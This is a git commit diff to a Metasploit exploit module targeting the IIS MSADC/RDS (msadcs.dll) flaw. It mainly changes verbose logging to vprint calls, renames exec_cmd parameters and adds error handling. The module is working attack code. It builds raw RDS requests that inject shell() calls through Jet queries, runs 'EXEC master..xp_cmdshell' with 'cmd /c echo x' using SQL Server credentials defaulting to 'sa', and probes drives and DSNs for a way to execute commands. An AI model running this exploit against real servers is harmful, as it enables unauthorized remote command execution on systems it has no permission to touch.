Updated msadc exploit with fixes.

unstable
Patrick Webster 2012-06-06 18:36:20 +10:00
parent 73190f6680
commit 37ee717301
1 changed files with 46 additions and 41 deletions

View File

@ -66,7 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']), OptString.new('PATH', [ true, "The path to msadcs.dll", '/msadc/msadcs.dll']),
OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]), OptBool.new('METHOD', [ true, "If true, use VbBusObj instead of AdvancedDataFactory", false]),
OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]), OptBool.new('NAME', [ true, "If true, attempt to obtain the MACHINE NAME", false]),
OptBool.new('VERBOSE', [ true, "If true, be more verbose", false]),
OptString.new('DBHOST', [ true, "The SQL Server host", 'local']), OptString.new('DBHOST', [ true, "The SQL Server host", 'local']),
OptString.new('DBNAME', [ true, "The SQL Server database", 'master']), OptString.new('DBNAME', [ true, "The SQL Server database", 'master']),
OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']), OptString.new('DBUID', [ true, "The SQL Server uid (default is sa)", 'sa']),
@ -78,7 +77,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_raw({ res = send_request_raw({
'uri' => datastore['PATH'], 'uri' => datastore['PATH'],
'method' => 'GET', 'method' => 'GET',
}, 20) })
if (res.code == 200) if (res.code == 200)
print_status("Server responded with HTTP #{res.code} OK") print_status("Server responded with HTTP #{res.code} OK")
if (res.body =~ /Content-Type: application\/x-varg/) if (res.body =~ /Content-Type: application\/x-varg/)
@ -95,12 +94,10 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_raw({ res = send_request_raw({
'uri' => req, 'uri' => req,
}, 20) })
if (res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/) if (res and res.code == 200 and res.body =~ /<H2>Datasource creation <B>FAILED! The most likely cause is invalid attributes<\/B><\/H2>/)
if (datastore['VERBOSE']) vprint_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
print_error("DSN CREATE failed for drive #{drive} with #{dsn}.")
end
return false return false
elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/) elsif (res.code == 200 and res.body =~ /<H2>Datasource creation successful<\/H2>/)
print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!") print_good("DSN CREATE SUCCESSFUL for drive #{drive} with #{dsn}!")
@ -108,20 +105,19 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
def exec_cmd(a, c, b) # a = sql, c = cmd, b = DSN or MDB def exec_cmd(sql, cmd, d)
boundary = rand_text_alphanumeric(8) boundary = rand_text_alphanumeric(8)
method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query" method = datastore['METHOD'] ? "VbBusObj.VbBusObjCls.GetRecordset" : "AdvancedDataFactory.Query"
dsn = Rex::Text.to_unicode(b) dsn = Rex::Text.to_unicode(d)
if (b =~ /driver=\{SQL Server\}/) if (d =~ /driver=\{SQL Server\}/)
select = Rex::Text.to_unicode(a + '"' + c + '"') select = Rex::Text.to_unicode(sql + '"' + cmd + '"')
elsif (c.nil?) elsif (cmd.nil?)
select = Rex::Text.to_unicode(a) select = Rex::Text.to_unicode(sql)
else else
select = Rex::Text.to_unicode(a+ "'|shell(\"" + c + "\")|'") select = Rex::Text.to_unicode(sql+ "'|shell(\"" + cmd + "\")|'")
end
if (datastore['VERBOSE'])
print_status("Attempting to request: #{select} on #{dsn}")
end end
vprint_status("Attempting to request: #{select} on #{d}")
query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}" query = "\x02\x00\x03\x00\x08\x00#{[select.size].pack('S')}\x00\x00#{select}\x08\x00#{[dsn.size].pack('S')}\x00\x00#{dsn}"
@ -148,50 +144,54 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST', 'method' => 'POST',
'data' => data, 'data' => data,
}, 20) })
response = Rex::Text.to_ascii(res.body, 'utf-16be') response = Rex::Text.to_ascii(res.body, 'utf-16be')
if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./) if (response =~ /HTTP:\/\/www.microsoft.com\/activex.vip\/adofx/ || res.body =~ /o.u.t.p.u.t./)
print_good("Command was successfully executed! Statement: #{select} Driver: #{dsn}") if (datastore['VERBOSE']) vprint_good("Command was successfully executed! Statement: #{select} Driver: #{d}")
return true, a, b return true, sql, d
elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./) elsif (response =~ /RDS Server Error: The server has denied access to the default RDS Handler used to access this page. See the Server Administrator for more information about server security settings./)
print_error("Exploit failed: the server is patched") print_error("Exploit failed: the server is patched")
break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail. break # we cannot continue - server refuses to accept RDS traffic from remote IPs. bail.
elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/) elsif (response =~ /The Microsoft Jet database engine cannot find the input table or query \'(\w+)\'/)
print_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}") if (datastore['VERBOSE']) vprint_error("Server is vulnerable but Microsoft Jet database cannot find table: #{$1}")
elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/) elsif (response =~ /isn't a valid path/ || response =~ /is not a valid path/ || response =~ /Could not find file/)
print_error("Server is vulnerable but the drive and path is incorrect.") if (datastore['VERBOSE']) vprint_error("Server is vulnerable but the drive and path is incorrect.")
elsif (response =~ /Disk or network error./) elsif (response =~ /Disk or network error./)
print_error("Server is vulnerable but the driver letter doesn't physically exist.") if (datastore['VERBOSE']) vprint_error("Server is vulnerable but the driver letter doesn't physically exist.")
elsif (response =~ /Syntax error in CREATE TABLE statement/) elsif (response =~ /Syntax error in CREATE TABLE statement/)
print_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.") if (datastore['VERBOSE']) vprint_error("Server is vulnerable and the database exists however the CREATE TABLE command failed.")
elsif (response =~ /Table '(\w+)' already exists/) elsif (response =~ /Table '(\w+)' already exists/)
print_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!") if (datastore['VERBOSE']) vprint_error("Server is vulnerable and the database exists however the TABLE '#{$1}' already exists!")
elsif (response =~ /Syntax error \(missing operator\) in query expression/) elsif (response =~ /Syntax error \(missing operator\) in query expression/)
print_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.") if (datastore['VERBOSE']) vprint_error("Server is vulnerable and the database and table exists however the SELECT statement has a syntax error.")
elsif (response =~ /Too few parameters. Expected 1/) elsif (response =~ /Too few parameters. Expected 1/)
print_good("Command was probably executed!") print_good("Command was probably executed!")
elsif (response =~ /Data source name not found and no default driver specified/) elsif (response =~ /Data source name not found and no default driver specified/)
print_error("Server is vulnerable however the requested DSN '#{b}' does not exist.") if (datastore['VERBOSE']) vprint_error("Server is vulnerable however the requested DSN '#{d}' does not exist.")
elsif (response =~ /Couldn't find file/) elsif (response =~ /Couldn't find file/)
print_error("Server is vulnerable however the requested .mdb file does not exist.") if (datastore['VERBOSE']) vprint_error("Server is vulnerable however the requested .mdb file does not exist.")
elsif (response =~ /Specified SQL server not found/) elsif (response =~ /Specified SQL server not found/)
print_error("Server is vulnerable however the specified Microsoft SQL Server does not exist") if (datastore['VERBOSE']) vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist")
elsif (response =~ /Server does not exist or access denied/)
vprint_error("Server is vulnerable however the specified Microsoft SQL Server does not exist or access is denied")
elsif (response =~ /General error Unable to open registry key/) elsif (response =~ /General error Unable to open registry key/)
print_error("Server error (possible misconfiguration): Unable to open registry key ") if (datastore['VERBOSE']) vprint_error("Server error (possible misconfiguration): Unable to open registry key ")
elsif (response =~ /It is in a read-only database/) elsif (response =~ /It is in a read-only database/)
print_error("Server accepted request however the requested .mdb is READ-ONLY") if (datastore['VERBOSE']) vprint_error("Server accepted request however the requested .mdb is READ-ONLY")
elsif (response =~ /Invalid connection/) elsif (response =~ /Invalid connection/)
print_error("Server accepted request however the MSSQL database says Invalid connection") if (datastore['VERBOSE']) vprint_error("Server accepted request however the MSSQL database says Invalid connection")
elsif (response =~ /\[SQL Server\]Login failed for user/) elsif (response =~ /\[SQL Server\]Login failed for user/)
print_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.") if (datastore['VERBOSE']) vprint_error("Server accepted request however the MSSQL database uid / password credentials are incorrect.")
elsif (response =~ /EXECUTE permission denied on object 'xp_cmdshell'/)
vprint_error("Server accepted request and MSSQL uid/pass is correct however the UID does not have permission to execute xp_cmdshell!")
elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique. elsif (response =~ /\"(...)\"/) # we use rand_text_alphanumeric for 'table'. response is '"<table>" <table>' but means nothing to me. regexp is a little lazy however the unicode response doesn't give us much to work with; we only know it is 3 bytes long and quoted which should be unique.
print_error("Server accepted request however it failed for reasons unknown.") if (datastore['VERBOSE']) vprint_error("Server accepted request however it failed for reasons unknown.")
elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval? elsif (res.body =~ /\x09\x00\x01/) # magic bytes? rfp used it too :P maybe a retval?
print_error("Unknown reply - but the command didn't execute") if (datastore['VERBOSE']) vprint_error("Unknown reply - but the command didn't execute")
else else
print_status("Unknown reply - server is likely patched:\n#{response}") vprint_status("Unknown reply - server is likely patched:\n#{response}")
end end
return false return false
end end
@ -201,14 +201,14 @@ class Metasploit3 < Msf::Exploit::Remote
boundary = rand_text_alphanumeric(8) boundary = rand_text_alphanumeric(8)
if (datastore['NAME']) # Obtain the hostname if true if (datastore['NAME']) # Obtain the hostname if true
data = "ADCClientVersion:01.06\r\n" data = "ADCClientVersion:01.06\r\n"
data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0' data << 'Content-Type: multipart/mixed; boundary=' + boundary +'; num-args=0'
data << "\r\n\r\n--#{boundary}--\r\n" data << "\r\n\r\n--#{boundary}--\r\n"
res = send_request_raw({ res = send_request_raw({
'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName', 'uri' => datastore['PATH'] + '/VbBusObj.VbBusObjCls.GetMachineName',
'agent' => 'ACTIVEDATA', 'agent' => 'ACTIVEDATA',
'headers' => 'headers' =>
{ {
'Content-Length' => data.length, 'Content-Length' => data.length,
@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST', 'method' => 'POST',
'data' => data, 'data' => data,
}, 20) })
if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname if (res.code == 200 and res.body =~ /\x01(.+)/) # Should return the hostname
print_good("Hostname: #{$1}") print_good("Hostname: #{$1}")
@ -312,6 +312,8 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Step 8: Trying SQL xp_cmdshell method...") print_status("Step 8: Trying SQL xp_cmdshell method...")
ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :) ret = exec_cmd("EXEC master..xp_cmdshell", "cmd /c echo x", "driver={SQL Server};server=(#{datastore['DBHOST']});database=#{datastore['DBNAME']};uid=#{datastore['DBUID']};pwd=#{datastore['DBPASSWORD']}") # based on hdm's sqlrds.pl :)
return ret if (ret) return ret if (ret)
return -1
end end
def exploit def exploit
@ -319,6 +321,9 @@ class Metasploit3 < Msf::Exploit::Remote
x = false x = false
until (x) until (x)
x,y,z =find_exec x,y,z =find_exec
if (x == -1)
break
end
end end
if (x == true) if (x == true)
@ -412,7 +417,7 @@ class Metasploit3 < Msf::Exploit::Remote
res = send_request_raw({ res = send_request_raw({
'uri' => uri, 'uri' => uri,
'method' => 'GET', 'method' => 'GET',
}, 20) })
end end
end end